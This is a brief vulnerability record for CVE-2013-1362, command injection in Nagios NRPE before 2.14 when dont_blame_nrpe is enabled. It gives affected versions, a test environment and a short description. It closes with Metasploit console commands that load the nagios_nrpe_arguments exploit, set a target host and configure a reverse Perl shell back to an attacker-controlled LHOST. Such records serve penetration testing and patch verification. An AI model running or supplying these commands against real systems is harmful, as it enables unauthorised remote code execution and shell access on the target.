CVE-2013-1362
OSVDB-90582
BID-58142

Affected version(s) :

Nagios Remote Plugin Executor (NRPE) prior to 2.14

Tested on Ubuntu 12.10 x86 with :

Nagios Remote Plugin Executor (NRPE) 2.13

Description :

The Nagios Remote Plugin Executor (NRPE) is installed to allow a central Nagios server to actively poll information from the hosts it monitors. NRPE has a configuration option dont_blame_nrpe which enables command-line arguments to be provided remote plugins. When this option is enabled, even when NRPE makes an effort to sanitize arguments to prevent command execution, it is possible to execute arbitrary commands.

Commands :

use exploit/linux/misc/nagios_nrpe_arguments
set RHOST 192.168.178.54
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.178.36
